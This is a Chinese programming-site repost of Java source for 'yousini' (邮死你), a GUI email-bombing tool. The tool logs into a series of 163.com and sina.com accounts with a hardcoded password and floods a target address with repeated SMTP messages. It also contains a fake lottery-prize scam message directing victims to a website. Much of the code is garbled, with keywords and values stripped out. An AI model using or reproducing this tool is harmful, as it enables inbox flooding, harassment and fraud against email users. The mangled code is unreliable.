加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 编程开发 > Java > 正文

java开发_java小程序_邮死你(yousini)_源码下载

发布时间:2020-12-14 06:28:53 所属栏目:Java 来源:网络整理
导读:1 package com.b510.sendmail.main; 2 3 import com.b510.sendmail.ui.SendMailUI; 4 5 /** 6 * @author Hongten 7 * 8 * @time 2012-4-4 2012 9 */10 public class SendMailMain {11 public static void main(String[] args) {12 SendMailUI sendMailUI = n

1 package com.b510.sendmail.main; 2 3 import com.b510.sendmail.ui.SendMailUI; 4 5 /** 6 * @author Hongten 7 * 8 * @time 2012-4-4 2012 9 */ 10 public class SendMailMain { 11 public static void main(String[] args) { 12 SendMailUI sendMailUI = new SendMailUI("send E-Mail"); 13 } 14 }

MyTray Image icon; SystemTray systemTray; SendMailUI sendMailUI; PopupMenu pop = PopupMenu(); MenuItem open = MenuItem("Restore" MenuItem exit = MenuItem("Exit" .sendMailUI = icon = ImageIcon( "resources/mytray.png" systemTray = trayIcon = TrayIcon(icon,"YouSiNi" } trayIcon.addMouseListener( trayIcon.addMouseListener( exit.addActionListener( open.addActionListener( (e.getSource()== System.exit(0 } (e.getSource() == sendMailUI.iconed = friendListSet( (e.getClickCount() == 1 && e.getButton() != (! friendListSet( } friendListSet( (e.getClickCount() == 2 && e.getButton() != (! friendListSet( } friendListSet( friendListSet( sendMailUI.setVisible( }

SendMailUI JFrame number = 266 i = 0 iconed = serialVersionUID = -6601825053136983041L mainPanel = serialVersionUID = 1L ImageIcon icon = ImageIcon("src/resources/mail_bg.png" g.drawImage(icon.getImage(),700,430, targetmail = send = jScrollPane1 = infoShow = menuBar = fileMenu = exitMenuItem = helpMenu = aboutMenuItem = showTime = javax.swing.JProgressBar(0 aboutSendmail = AboutSendmail("关于软件" aboutSendmail.setVisible( showTime.setStringPainted( mainPanel.setName("mainPanel"); targetmail.setName("targetmail"); send.setText("send"); send.setName("send"); send.setEnabled( send.addActionListener( jScrollPane1.setName("jScrollPane1"); infoShow.setColumns(20 infoShow.setRows(5 infoShow.setName("infoShow"); menuBar.setName("menuBar"); fileMenu.setName("fileMenu"); fileMenu.setText("file" exitMenuItem.setText("exit" exitMenuItem.addActionListener( helpMenu.setText("help"); helpMenu.setName("helpMenu"); aboutMenuItem.setText("about" aboutMenuItem.addActionListener( .setVisible( .setSize(700,485 .setLocationRelativeTo( .setResizable( addWindowListener( iconed = setVisible( option = JOptionPane.showConfirmDialog(SendMailUI. "是否最小化到托盘?","提示:" (option == iconed = SendMailUI..setVisible( } System.exit(0 myTray = MyTray(SendMailUI. javax.swing.GroupLayout mainPanelLayout = .addGap(52,54,54 170 34 34 37 620 463 463 463 .addContainerGap(30 30 .addGap(30,43,43 313 .addGap(15,15,15 timeCard( Thread( Runnable() { (i < Thread.sleep(() (1000 * 7.7 } showTime.setValue(i++ } i = 0 showTime.setValue(0 Thread( Runnable() { ( Thread.sleep(() (1000 * 7.7 } (e.getSource() == infoShow.append("请耐心等待...n" (e.getSource() == System.exit(0 (e.getSource() == aboutSendmail.setVisible( String server_mail = "smtp.163.com" String server_mail_sina = "smtp.sina.com" String subject_mail = "邮件炸弹" String content_mail = "这是邮件炸弹" String password_mail = "PANDER521521mail" k = 1 String content = "尊敬的邮箱用户:n您好!您的账号已被抽选为本次活动的二等奖用户。您将获得由本公司送出的惊喜奖金66000元以及赞助商三星公司送出的三星Q40笔记本电脑一台!n请您收到信息后立即复制登陆活动网站: www.qqt139.com 领取,您的获奖验证码为【6558】。请确记您的个人验证码。n 注:为了确保您的幸运资格不被冒领,请及时查看邮件。否则此邮件自动转入垃圾信箱等待查收!从收到邮件5日内有效." String content1 = "你好,当你收到这个邮件的时候,说明你...嘿嘿...你懂的" debug = BASE64Encoder encode = BASE64Encoder(); ( j = 1; j < 4; j++ ( i = 1; i < 10; i++ MailMessage message = message.setFrom("pandermail0" + i + "@163.com"); message.setTo(targetMail); String server = server_mail; message.setSubject("有一封新的信息,請查收!"); message.setContent(content1); message.setDatafrom("pandermail0" + i + "@163.com"); message.setDatato(targetMail); message.setUser("pandermail0" + i); message.setPassword(password_mail); SMTPClient smtp = SMTPClient(server,25 flag = SendMailUI.infoShow.append("这是第 " + i + " 封邮件," + "邮件发送成功!n" } SendMailUI.infoShow.append("邮件发送失败!n" ( i = 1; i < 11; i++ MailMessage message = message.setFrom("pandermail" + i + "@sina.com" message.setTo(targetMail); String server = server_mail_sina; message.setSubject("亚马逊"); message.setContent(content1); message.setDatafrom("pandermail" + i + "@sina.com"); message.setDatato(targetMail); message.setUser("pandermail" + i); message.setPassword(password_mail); SMTPClient smtp = SMTPClient(server,25 flag = SendMailUI.infoShow.append("这是第 " + (i + 9) + " 封邮件," + "邮件发送成功!n" } SendMailUI.infoShow.append("邮件发送失败!n" .append("==========================================================n" SendMailUI.infoShow.append("===================== 这是第 [ " + (k++ + " ] 轮结束 =====================n" SMTPClient(String server, port) socket = Socket(server,25 } } } SendMailUI.infoShow.append("已经建立连接!n" result = (result != 220 SendMailUI.infoShow.append("连接服务器失败!n" IOException("连接服务器失败" result = sendServer("HELO " + (result != 250 SendMailUI.infoShow.append("注册邮件服务器失败!n" IOException("注册邮件服务器失败!" SendMailUI.infoShow.append("已发送命令:" + str + "n" String line = "" line = SendMailUI.infoShow.append("服务器返回状态:" + line + "n" } StringTokenizer st = StringTokenizer(line," " BufferedWriter out) result = sendServer("AUTH LOGIN" (result != 334 SendMailUI.infoShow.append("用户验证失败!n" IOException("用户验证失败!" result = (result != 334 SendMailUI.infoShow.append("用户名错误!n" IOException("用户名错误!" result = (result != 235 SendMailUI.infoShow.append("验证失败!n" IOException("验证失败!" BufferedWriter out) result = sendServer("MAIL FROM:<" + source + ">" (result != 250 SendMailUI.infoShow.append("指定源地址错误!n" IOException("指定源地址错误" result = sendServer("RCPT TO:<" + touchman + ">" (result != 250 SendMailUI.infoShow.append("指定目的地址错误!n" IOException("指定目的地址错误!" result = sendServer("DATA" (result != 354 SendMailUI.infoShow.append("不能发送数据!n" IOException("不能发送数据!" out.write("From: " + out.write("To: " + out.write("Subject: " + result = sendServer("." (result != 250 SendMailUI.infoShow.append("发送数据错误!n" IOException("发送数据错误" result = sendServer("QUIT" (result != 221 SendMailUI.infoShow.append("未能正确退出!n" IOException("未能正确退出" BufferedReader in = BufferedReader( BufferedWriter out = BufferedWriter( helo(server,out); authLogin(message,out); mailfrom(message.getFrom(),out); rcpt(message.getTo(),out); .getSubject(),message.getContent(),out); quit(in,out); } sendMailListener( Thread( Runnable() { ( SendMailUI.flag = SendMailUI.flag = Thread.sleep(180000 } SendMailUI.flag = } } Thread.sleep(25000 } flag_mail = String mail_regex = "(?=^[w.@]{6,50}$)w+@w+(?:.[w]{2,3}){1,2}" pattern = matcher = flag_mail = String mail = (mail.equals("" send.setEnabled( } (mail.length() > 0 && send.setEnabled( } send.setEnabled( Thread( Runnable() { ( Thread.sleep(500 } changedUpdate(); }

AboutSendmail serialVersionUID = 5248482602468160509L addWindowListener( AboutSendmail..setVisible( JButton closeButton = javax.swing.JLabel appTitleLabel = javax.swing.JLabel versionLabel = javax.swing.JLabel appVersionLabel = javax.swing.JLabel homepageLabel = javax.swing.JLabel appHomepageLabel = javax.swing.JLabel appDescLabel = javax.swing.JLabel imageLabel = .setVisible( setResizable( .setLocation(530,410); closeButton.addMouseListener( closeButton.setIcon( ImageIcon("" closeButton.setIcon( ImageIcon("" appTitleLabel.getFont().getStyle() | appTitleLabel.getFont().getSize() + 4 appTitleLabel.setText("应用程序名称:"); appTitleLabel.setName("appTitleLabel"); versionLabel.getFont().getStyle() | versionLabel.setText("版本号:"); versionLabel.setName("versionLabel"); appVersionLabel.setText("1.0"); appVersionLabel.setName("appVersionLabel"); homepageLabel.getFont().getStyle() | homepageLabel.setText("主页:"); homepageLabel.setName("homepageLabel"); appHomepageLabel.setText("http://www.cnblogs.com/hongten"); appHomepageLabel.setName("appHomepageLabel"); appDescLabel.setText("这是一个小应用程序,定时向目标邮箱发送邮件"); appDescLabel.setName("appDescLabel"); imageLabel.setIcon( ImageIcon("")); imageLabel.setName("imageLabel"); closeButton.setIcon( ImageIcon("" closeButton.setText("hongten" javax.swing.GroupLayout layout = .addGap(18,18,18 266 19 }

.from = .to = .datafrom = .datato = .subject = .content = .date = .user = .password = }

源码下载:

I'm Hongten

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读